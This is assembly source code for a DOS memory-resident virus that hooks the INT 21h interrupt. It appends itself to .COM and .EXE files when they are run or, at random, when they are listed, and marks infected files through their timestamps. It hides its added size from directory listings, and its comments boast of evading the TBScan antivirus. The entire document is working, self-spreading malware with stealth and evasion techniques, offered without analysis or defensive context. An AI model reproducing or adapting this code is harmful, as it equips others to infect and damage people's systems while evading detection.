;% You-name-the-bitch %
;ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ
.model tiny
.code
 org 100h

pagesize        equ     (((offset last) - (offset start)) shr 9) + 1
parasize        equ     (((offset last) - (offset start)) shr 4) + 1
bytesize        equ     (parasize shl 4)
lastpage        equ     bytesize - (pagesize shl 9)


start:
        push    ds
        call    install
entry:
        jmp     restore

; Information about host program

orgip   dw      020CDh                  ; Entry point if .exe,
orgcs   dw      0                       ; if .com first 3 bytes of file.
com     db      0FFh                    ; If .exe com=0 if .com com=FF

install:
        ; Check if already resident
        mov     ah, 30h                 ; Get dos version
        mov     bx, 1009                ; Installation check
        int     21h
        cmp     bx, 9001                ; Is installed?
        jne     gores
        mov     bp, sp                  ; Get delta offset
        mov     bp, ss:[bp]
        ret

org21:
        db      0EAh                    ; Buffer for original int21
org21o  dw      ?
org21s  dw      ?

gores:
        pop     bp
        cmp     al, 03h                 ; Check dos version
        jb      restore

        ; Try to allocate memory
memall: mov     ah, 48h                 ; Allocate memory
        mov     bx, parasize+3
        int     21h
        jnc     gohigh

        ; Try to decrease host memory
        push    es                      ; Get MCB
        mov     bx, es
        dec     bx
        mov     es, bx
        mov     bx, es:[03h]            ; Get size of memory
        sub     bx, parasize+4          ; Calculate needed memory
        pop     es
        mov     ah, 4Ah                 ; Decrease memory block
        int     21h
        jnc     memall                  ; Allocate memory for virus
        jmp     restore

gohigh:
        ; Move virus to new memory
        dec     ax                      ; es to new mcb
        mov     es, ax
        mov     word ptr es:[1], 8      ; mark dos as owner
        mov     di, 10h                 ; Set es:di to new block
        push    cs                      ; Set ds:si to virus code
        pop     ds
        mov     si, bp
        sub     si, 4                   ; Adjust for first call
        mov     cx, bytesize
        cld
        rep     movsb

        ; Install in int21 vector
        sub     ax, 0Fh                 ; Adjust for org 100h
        mov     ds, ax
        mov     ax, 3521h               ; Save int21 vector
        int     21h
        mov     org21o, bx
        mov     org21s, es
        mov     ah, 25h                 ; Set int21 vector
        mov     dx, offset vector21
        int     21h


restore:
        ; Restore original program
        pop     es
        push    es
        cmp     byte ptr cs:bp[6], 00h           ; Check file type
        je      restexe

        ; Restore .com program
        push    es
        pop     ds
        mov     di, 100h
        push    di
        mov     ax, cs:bp[2]
        stosw
        mov     al, cs:bp[4]
        stosb
        retf

restexe:
        ; Restore .exe program
        pop     ax
        mov     ds, ax
        add     ax, cs:bp[4]            ; relocate cs
        add     ax, 10h
        push    ax
        mov     ax, cs:bp[2]            ; get ip
        push    ax
        retf                            ; Jump to host



vector21:
        cmp     ah, 30h                 ; Get dos version?
        jne     chkexe
        cmp     bx, 1009                ; Installation check?
        jne     chkexe
        call    dos
        mov     bx, 9001                ; Return residency code
        retf    2
chkexe:
        cmp     ax, 4B00h               ; Load and execute?
        jne     chkfcb
        call    infect                  ; Infect file
        jmp     chnexit
chkfcb:
        cmp     ah, 11h                 ; Find file?
        je      fcb
        cmp     ah, 12h                 ; Find file?
        je      fcb

        cmp     ah, 4Eh                 ; Find handle?
        je      fhdl
        cmp     ah, 4Fh                 ; Find handle?
        jne     chnexit
fhdl:   call    dos
        jnc     fhdls
        retf    2
fhdls:  jmp     findhandle

chnexit:
        jmp     org21


fcb:
; Called on find first/find next fcb
        ; Perform dos call

        call    dos
        or      al, al                  ; Check if a file was found
        jz      exist
        retf    2
exist:
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es

        mov     ax, 6200h               ; Get psp
        call    dos
        mov     es, bx
        cmp     bx, es:[16h]            ; Ensure that dos is calling
        jne     fcbexit

        call    getdta                  ; Get address of fcb
        lodsb                           ; Check if extended
        cmp     al, 0FFh
        jne     noext
        add     si, 7
noext:
        mov     bx, si
        add     si, 8                   ; Check extension
        lodsw
        push    ax

        add     si, 0Ch                 ; Check for infection
        lodsb
        and     al, 1Fh
        cmp     al, 03h
        pop     ax
        pushf
        add     si, 5

        cmp     ax, 'OC'
        je      fcbcom
        cmp     ax, 'XE'
        je      fcbexe
        popf
        jmp     fcbexit

fcbcom:
        ; Check for infection
        popf
        jne     fcbcomni
        sub     word ptr [si], bytesize
        jmp     fcbexit
fcbcomni:
        in      al, 41h                 ; Get timer (rnd)
        test    al, 03h                 ; 25% infection
        jne     fcbexit
        call    cvtasciz                ; Convert to asciz
        mov     ax, 'C.'                ; Append exetnsion
        stosw
        mov     ax, 'MO'
        stosw
        jmp     fcbinfect

fcbexe:
        ; Check for infection
        popf
        jne     fcbexeni
        sub     word ptr [si], bytesize
        jmp     fcbexit
fcbexeni:
        in      al, 41h                 ; Get timer (rnd)
        test    al, 03h                 ; 25% infection
        jne     fcbexit
        call    cvtasciz
        mov     ax, 'E.'
        stosw
        mov     ax, 'EX'
        stosw

fcbinfect:
        xor     al, al
        stosb
        mov     dx, offset last
        push    cs
        pop     ds
        call    infect

fcbexit:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        retf    2


cvtasciz        proc
        push    cs                      ; Convert to asciz
        pop     es
        mov     si, bx
        mov     di, offset last
        mov     cx, 8
loop3:  lodsb
        cmp     al, ' '
        je      loopx
        stosb
        loop    loop3
loopx:  ret
cvtasciz        endp


infect  proc
; Called on load and execute
        push    ax
        push    bx
        push    cx
        push    dx
        push    si
        push    di
        push    ds
        push    es

        mov     ax, 3D82h               ; Open victim
        call    dos
        jc      exitinfect
        xchg    ax, bx

        mov     ax, 5700h               ; Save file date/time
        call    dos
        push    dx
        push    cx

        mov     ah, 3Fh                 ; Read first bytes
        push    cs
        pop     ds
        lea     dx, orgip
        mov     cx, 2
        call    dos
        xor     orgip, 4523h            ; Check if .exe file
        cmp     orgip, 'MZ' xor 4523h   ; TBScan fooled again...
        je      infectexe
        cmp     orgip, 'ZM' xor 4523h
        je      infectexe
        xor     orgip, 4523h
        jmp     infectcom

infectdone:
        pop     cx                      ; Restore date/time of file
        pop     dx
        mov     ax, 5701h
        call    dos

        mov     ah, 3Eh                 ; Close file
        call    dos
exitinfect:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     dx
        pop     cx
        pop     bx
        pop     ax
        ret
infect  endp

infectexe:
        ; Read header from .exe file
        mov     ah, 3Fh
        lea     dx, last                        ; Use memory above virus
        mov     cx, 16h
        call    dos

        ; Calculate address of entrypoint
        mov     ax, word ptr last[entryseg]     ; Get entry cs value
        add     ax, word ptr last[headsize]     ; Get header size
        mov     cx, 10h                         ; Convert to bytes
        mul     cx
        add     ax, word ptr last[entryofs]     ; add ip offset
        adc     dx, 00

        ; Seek to entrypoint
        mov     cx, dx
        xchg    dx, ax
        mov     ax, 4200h
        call    dos

        ; Check if already infected
        mov     ah, 3Fh                         ; Read bytes at entry
        mov     cx, 4h
        lea     dx, orgip
        mov     si, dx
        call    dos

        lodsw                                   ; Compare entry to virus
        cmp     ax, word ptr start
        jne     exenotinf
        lodsw
        cmp     ax, word ptr start[2]
        je      infectdone


exenotinf:
        ; Mark infection
        pop     ax                              ; Get time stamp
        and     al, 0E0h                        ; Mask seconds
        or      al, 003h                        ; Set seconds to 6
        push    ax

        ; Infect file
        lea     si, last[entryofs]              ; Save program information
        lodsw
        mov     orgip, ax
        lodsw
        mov     orgcs, ax
        mov     cs:com, 0                       ; This is .exe

        ; Calculate virus entry
        mov     ax, 4202h                       ; Seek to eof
        xor     cx, cx
        cwd
        call    dos

        xchg    ax, dx                          ; eof pos in ax:dx
        mov     cl, 12
        shl     ax, cl
        mov     word ptr last[entryseg], ax
        xchg    ax, dx
        xor     dx, dx
        mov     cx, 10h                         ; Convert eof pos to paras
        div     cx
        sub     ax, word ptr last[headsize]     ; Calculate entry for virus
        add     word ptr last[entryseg], ax     ; Save in header
        mov     word ptr last[entryofs], dx

        ; Recalculate size
        mov     ax, word ptr last[lastsize]
        add     ax, bytesize
        cwd
        mov     cx, 200h
        div     cx
        mov     word ptr last[lastsize], dx
        add     word ptr last[pages], ax


        mov     ah, 3Fh                         ; Append virus
        mov     dx, 100h
        mov     cx, bytesize
        inc     ah                              ; TB-Moron(tm)
        push    ax
        call    dos

        ; Save modified exe-header
        mov     ax, 4200h                       ; Seek to header
        xor     cx, cx
        mov     dx, 2
        call    dos

        pop     ax
        lea     dx, last                        ; Write header
        mov     cx, 16h
        call    dos

        jmp     infectdone


infectcom:
        ; Installation check
        call    ichkcom
        jnc     comnotinf
        jmp     infectdone

comnotinf:

        ; Mark infection
        pop     ax                              ; Get time stamp
        and     al, 0E0h                        ; Mask seconds
        or      al, 003h                        ; Set seconds to 6
        push    ax

        mov     com, 0FFh

        ; Seek to eof
        mov     ax, 4202h
        xor     cx, cx
        cwd
        call    dos

        ; Create jump opcode
        sub     ax, 3
        mov     word ptr last, ax

        ; Append virus
        mov     ah, 3Fh
        mov     cx, bytesize
        mov     dx, 100h
        inc     ah                              ; TB...
        push    ax
        call    dos

        ; Write jump to beginning of file
        mov     ax, 4200h
        xor     cx, cx
        cwd
        call    dos
        pop     ax                              ; TB...
        mov     cx, 3
        lea     dx, jumpop
        call    dos

        jmp     infectdone



findhandle:
        pushf
        push    ax
        push    bx
        push    cx
        push    si
        push    di
        push    ds
        push    es

        call    getdta                  ; dta to es:si and ds:si
        mov     di, si

        mov     al, si[16h]             ; Get seconds
        and     al, 1Fh
        cmp     al, 3
        pushf

        add     di, 1Eh                 ; di to name
        mov     cx, 9
        mov     al, '.'
        repne   scasb                   ; scan for extension
        xchg    si, di
        lodsw
        cmp     ax, 'OC'                ; check if com?
        je      hdlcom
        cmp     ax, 'XE'
        je      hdlexe
        popf
        jmp     hdlexit

hdlcom:
hdlexe:
        popf
        jne     hdlexit
        sub     word ptr di[1Ah], bytesize
        sbb     word ptr di[1Ch], 0

hdlexit:
        pop     es
        pop     ds
        pop     di
        pop     si
        pop     cx
        pop     bx
        pop     ax
        popf
        retf    2






ichkcom proc
; Checks if com-file with handle in bx is infected

        mov     ax, 4200h               ; Seek to beginning
        xor     cx, cx
        cwd
        call    dos

        push    ds

        mov     ah, 3Fh                 ; Read first bytes
        mov     cl, 3
        mov     dx, offset orgip
        call    dos

        cmp     byte ptr orgip, 0E9h    ; Check if jump
        jne     icnotinf

        mov     ax, 4201h               ; Seek to entry point
        xor     cx, cx
        mov     dx, word ptr orgip[1]
        call    dos

        mov     cl, 4
        call    readtolast              ; Get entry point
        cmp     word ptr last, 0E81Eh
        jne     icnotinf
        cmp     word ptr last[2], 00007h
        jne     icnotinf

        pop     ds
        stc                             ; Return with carry
        ret
icnotinf:
        pop     ds
        clc                             ; Not infected
        ret
ichkcom         endp



dos     proc
        pushf
        call    dword ptr cs:org21o
        ret
dos     endp


getdta  proc
        mov     ah, 2Fh                 ; Get dta
        call    dos
        push    es                      ; ds:si to dta
        pop     ds
        mov     si, bx
        ret
getdta  endp


readtolast      proc
        mov     ah, 3Fh
        push    cs
        pop     ds
        mov     dx, offset last
        call    dos
        ret
readtolast      endp



jumpop  db      0E9h
last:

exehead struc
        lastsize        dw      ?
        pages           dw      ?
        tblesize        dw      ?
        headsize        dw      ?
        minalloc        dw      ?
        maxalloc        dw      ?
        stackseg        dw      ?
        stackofs        dw      ?
        checksum        dw      ?
        entryofs        dw      ?
        entryseg        dw      ?
exehead ends

end     start
================================================================================